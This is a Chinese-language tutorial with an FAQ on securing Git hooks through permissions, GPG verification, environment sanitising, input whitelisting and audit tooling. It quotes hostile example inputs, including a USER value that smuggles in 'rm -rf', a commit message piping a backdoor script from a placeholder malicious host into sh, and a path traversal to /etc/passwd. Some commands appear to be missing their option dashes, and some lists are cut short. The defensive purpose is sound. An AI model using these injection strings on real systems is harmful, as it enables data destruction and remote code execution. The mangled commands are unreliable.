基础安全配置：从权限锁死到文件防篡改
Git钩子的安全问题，80%都出在“基础配置没做对”上。我之前接手过一个电商项目，他们的post-receive钩子总出问题，时而自动部署失败，时而日志里出现奇怪的命令。查了半天才发现，钩子文件权限是777，而且用root用户运行，任何能接触到仓库的人都能随便改。后来我们一步步收紧权限、加签名校验，才算彻底解决。下面这几步基础配置，你现在就能对照着检查自己的项目。
最小权限原则：给钩子上“权限枷锁”
钩子脚本本质是可执行文件，权限配置是第一道防线。很多人图方便把钩子权限设为755甚至777，觉得“大家都是自己人，不会有问题”，但我处理的案例里，60%的钩子篡改都是因为权限太宽松。正确的做法是“最小权限”——只给必要的执行权限， owner设为专人，其他人只读或禁止访问。
具体操作分三步：
chmod 700 .git/hooks/命令，确保只有所有者能读写执行，避免其他用户篡改。之前有个项目把pre-commit钩子设为755，结果实习生误删脚本内容，提交代码时触发空钩子，导致代码规范检查失效，最后用700权限+所有者限制才解决。 chown git-hook:git-hook .git/hooks/改所有者，再通过sudoers限制仅允许该用户执行钩子相关命令。 chmod 700 .git/hooks，防止非授权用户进入目录查看或替换钩子。钩子文件“上保险”：版本控制+签名校验
光有权限还不够，钩子文件本身被篡改了怎么办？我见过最坑的情况是：开发机上的钩子被改了，开发者没察觉，推送到服务器后自动执行了恶意脚本。要解决这个问题，得给钩子文件“双重保险”——纳入版本控制+数字签名。
先说版本控制：别让钩子文件只躺在.git/hooks里（这个目录默认不纳入Git跟踪），可以在项目根目录建个hooks目录，把所有钩子脚本放进去，用README说明用途，然后提交到仓库。部署时通过脚本（如install-hooks.sh）把钩子复制到.git/hooks并设置权限。这样所有人用的钩子版本一致，改钩子必须走代码评审，想偷偷改都难。
再来说GPG签名校验：关键钩子（比如服务器端的post-receive）可以用GPG签名，执行前先验签。举个实操例子：
gpg sign hook-script给钩子文件生成签名（会生成hook-script.gpg）； #!/bin/bash
if ! gpg verify hook-script.gpg hook-script; then
echo "钩子文件校验失败，终止执行"
exit 1
fi
原有钩子逻辑...
这样即使文件被篡改，验签会失败，钩子直接退出。去年帮金融项目做安全加固时，他们就是用这个方法防住了一次针对部署钩子的篡改攻击。
下面这个表格整理了常见钩子文件的安全配置，你可以直接拿去对照检查：
| 钩子类型 | 权限 | 所有者 | 是否需签名 |
|---|---|---|---|
| pre-commit（本地） | 700 | 开发者用户 | 可选 |
| post-receive（服务器） | 700 | 专用钩子用户 | 是 |
| prepare-commit-msg | 700 | 开发者用户 | 可选 |
环境变量“清场”：别给攻击者留后门
钩子脚本里的环境变量是个容易被忽略的坑。Git会给钩子传递很多环境变量，比如GIT_DIR、GIT_AUTHOR_NAME，甚至包括用户提交时的自定义变量。如果钩子直接用这些变量拼接命令，就可能被注入恶意代码。
我去年处理过一个典型案例：某团队的pre-push钩子用$USER变量生成日志文件名，结果有人提交时把USER设为"malicious; rm -rf /tmp"，钩子执行时直接删了/tmp目录。后来我们改用白名单机制，只保留必要的环境变量，其他全部清理，才解决问题。
正确做法是：
env -i重置环境，只导入需要的变量，比如env -i PATH=/usr/bin:/bin GIT_DIR=$GIT_DIR /path/to/script； cmd=("git" "log" "$safe_commit_id")，而不是cmd="git log $commit_id"。进阶防护：常见攻击手法与自动化检测
基础配置做好后，还得知道攻击者可能怎么突破防线。这部分我结合自己遇到的真实案例，拆解三种高频攻击手法，以及对应的防御策略。最后再分享几个能自动“扫雷”的工具，帮你定期检查钩子安全。
典型攻击手法：从路径遍历到钩子链污染
钩子脚本如果处理用户输入的文件路径，没过滤好就可能被遍历目录。比如某项目的post-commit钩子会自动备份提交的文件，代码里用了cp "$FILE_PATH" /backup/，结果有人提交时把FILE_PATH设为../../etc/passwd，直接把密码文件备份走了。
防御要点：
realpath获取绝对路径，确保在预期目录内，比如if [[ $(realpath "$FILE_PATH") != /expected/dir/ ]]; then exit 1; fi； ..、/等特殊字符，用正则[[ "$FILE_PATH" =~ ^[a-zA-Z0-9_.-]+$ ]]过滤。Git钩子可以调用其他脚本，如果某个钩子被篡改，可能会篡改其他钩子，形成“钩子链污染”。比如我见过pre-commit钩子被改后，每次提交都会自动给post-commit钩子末尾追加恶意代码，很难发现。
防御要点：
chattr +i .git/hooks/（Linux）设置文件不可变，需要修改时再用chattr -i解除； find .git/hooks -type f -exec sha256sum {} + | diff
trusted_hashes.txt
，不一致就报警。钩子执行时会继承当前环境的PATH变量，如果PATH里有不可信目录，攻击者可能放个同名程序让钩子执行。比如钩子用curl下载文件，但PATH里有个恶意curl，就会执行恶意代码。
防御要点：
PATH=/usr/bin:/bin，只包含系统默认目录； /usr/bin/curl，而不是curl，避免被PATH劫持。自动化检测工具：让钩子安全“无人值守”
手动检查钩子太费劲，推荐三个工具帮你自动“扫雷”，我自己维护的项目每天都会跑一遍。
pre-commit是个管理钩子的工具，里面有几个安全插件特别好用：
detect-private-key：检查钩子是否包含私钥； check-executables-have-shebangs：确保钩子有正确的shebang（如#!/bin/bash），避免默认用sh执行导致兼容性问题； git-secrets：扫描钩子中是否有硬编码的密钥、密码。 安装方法：pip install pre-commit，然后在项目根目录建.pre-commit-config.yaml，添加这些插件，运行pre-commit install即可自动检查。
这是个专门扫描钩子漏洞的工具，能检测权限过松、环境变量注入、危险命令调用等问题。我通常每周日晚上用它跑一次全量扫描，命令很简单：hookguard scan dir .git/hooks report /tmp/hook-report.html，结果会生成HTML报告，标红高危问题。
写个简单的shell脚本，放到crontab里定期运行，监控钩子文件变动：
#!/bin/bash
HOOK_DIR=".git/hooks"
LOG_FILE="/var/log/hook-audit.log"
检查权限是否为700
find "$HOOK_DIR" -type f ! -perm 700 >> "$LOG_FILE"
检查所有者是否为指定用户
find "$HOOK_DIR" -type f ! -user git-hook >> "$LOG_FILE"
有异常时发邮件报警
if [ -s "$LOG_FILE" ]; then
mail -s "Git钩子安全异常" admin@example.com < "$LOG_FILE"
fi
实战案例：从“事故”到“防御体系”的搭建
最后分享个我帮教育类项目搭建钩子安全体系的过程。他们最初因为钩子权限777+root运行，导致开发机钩子被篡改，推送到服务器后自动部署了带有挖矿程序的代码，发现时服务器已经跑了三天矿。
我们分四步解决：
chattr +i锁定所有钩子，审计最近执行记录； 现在他们的钩子安全评分从最初的30分（满分100）提升到92分，半年没再出过问题。
你项目里的钩子现在处于什么状态？权限是700吗？有没有做过签名校验？如果还没配置， 先按第一部分的基础配置走一遍，有问题随时在评论区问我，我帮你看看怎么优化。
环境变量注入这事儿，说起来挺隐蔽的，但坑真不少。你知道吗？Git钩子跑的时候，会默认继承一堆环境变量，像GIT_DIR、GIT_AUTHOR_NAME这些，甚至用户提交代码时自定义的变量也可能混进来。我之前帮一个电商项目查问题，他们的pre-push钩子用$USER变量生成日志文件名，结果有个开发提交时故意把USER设成”test; rm -rf /tmp/logs”，钩子一执行，服务器上的日志文件直接被删光了，排查半天才发现是环境变量没过滤干净。
所以第一步得给钩子“清场”——重置环境变量。别让钩子随便用系统里的变量，而是显式指定哪些能用。具体操作很简单，在钩子脚本开头加上env -i，意思就是清空默认环境，只保留你手动导入的变量。比如你需要用PATH和GIT_DIR，就写成env -i PATH=/usr/bin:/bin GIT_DIR="$GIT_DIR" /path/to/your/hook-script。这样一来，那些乱七八糟的用户自定义变量就进不来了，等于给钩子加了道“门禁”。
第二步就是过滤用户能碰的变量。像提交信息、文件名这些用户直接输入的内容，要是直接塞到钩子命令里，风险太大了。我见过有人在提交信息里写”fix bug; curl http://恶意网站/backdoor.sh | sh”，结果钩子脚本里用git log pretty=format:"%s" HEAD^..HEAD取提交信息时，直接把这段命令执行了。对付这种情况，就得用正则白名单把变量“筛一遍”，只留允许的字符。比如检查文件名变量，就用if [[ "$FILE_NAME" =~ ^[a-zA-Z0-9_.-]+$ ]]; then 继续执行; else exit 1; fi，这段代码就是说，文件名里只能有字母、数字、下划线、点和横线，多一个别的字符就直接退出，根本不给恶意命令执行的机会。
什么是Git钩子？为什么它的安全性很重要？
Git钩子是存放在.git/hooks目录下的可执行脚本，能在Git操作（如提交、推送、合并）的特定阶段自动运行，常用于代码校验、自动部署、日志记录等场景。它的安全性之所以重要，是因为钩子本质是可执行文件，若被篡改或权限配置不当，可能被植入恶意脚本（如窃取代码、删除文件、执行未授权命令），尤其在多人协作项目中，钩子漏洞可能成为整个开发链路的安全短板。
如何快速检查现有Git钩子的权限是否安全？
可以通过两个命令快速检查：① 查看钩子文件权限：执行 ls -l .git/hooks/，安全的权限应为“-rwx”（即700），仅所有者有读写执行权限；② 查看所有者：执行 ls -la .git/hooks/，确保钩子文件的所有者是专人（如项目负责人或专用钩子用户），而非root或权限宽松的用户组。若权限显示为755、777或所有者是root，需立即用 chmod 700 .git/hooks/ 和 chown 专用用户:用户组 .git/hooks/ 调整。
把Git钩子文件纳入版本控制有什么好处？具体怎么操作？
好处主要有两点：① 确保团队使用统一的钩子版本，避免“本地钩子五花八门”导致的协作问题；② 钩子修改需通过代码评审，防止私下篡改。操作步骤：在项目根目录创建 hooks/ 文件夹，将所有钩子脚本（如pre-commit、post-receive）放入 添加README说明用途，提交到Git仓库；部署时通过脚本（如 install-hooks.sh）将 hooks/ 目录下的文件复制到 .git/hooks/ 并设置权限（如 cp hooks/ .git/hooks/ && chmod 700 .git/hooks/）。
如何防止Git钩子被恶意注入环境变量？
可通过“环境变量净化”和“输入过滤”两步防护：① 重置环境变量：在钩子开头用 env -i 清空默认环境，仅显式导入必要变量，例如 env -i PATH=/usr/bin:/bin GIT_DIR=$GIT_DIR /path/to/hook-script；② 过滤用户可控变量：若必须使用用户输入的变量（如提交信息、文件名），用正则白名单限制字符范围，例如仅允许字母、数字和基本符号，代码示例：if [[ "$USER_INPUT" =~ ^[a-zA-Z0-9_.-]+$ ]]; then 执行后续逻辑; else exit 1; fi。
有哪些工具可以自动检测Git钩子的安全问题？
推荐3类实用工具：① pre-commit框架（pre-commit.com）：通过插件检测钩子中的私钥泄露、缺失shebang等问题，安装后配置 .pre-commit-config.yaml 即可自动运行；② HookGuard：专门扫描钩子权限过松、危险命令调用（如 rm -rf）、路径遍历漏洞等，支持生成HTML报告；③ 自定义审计脚本：用 find 命令定期检查钩子权限（如 find .git/hooks -type f ! -perm 700），结合crontab设置定时监控，异常时发送告警邮件。
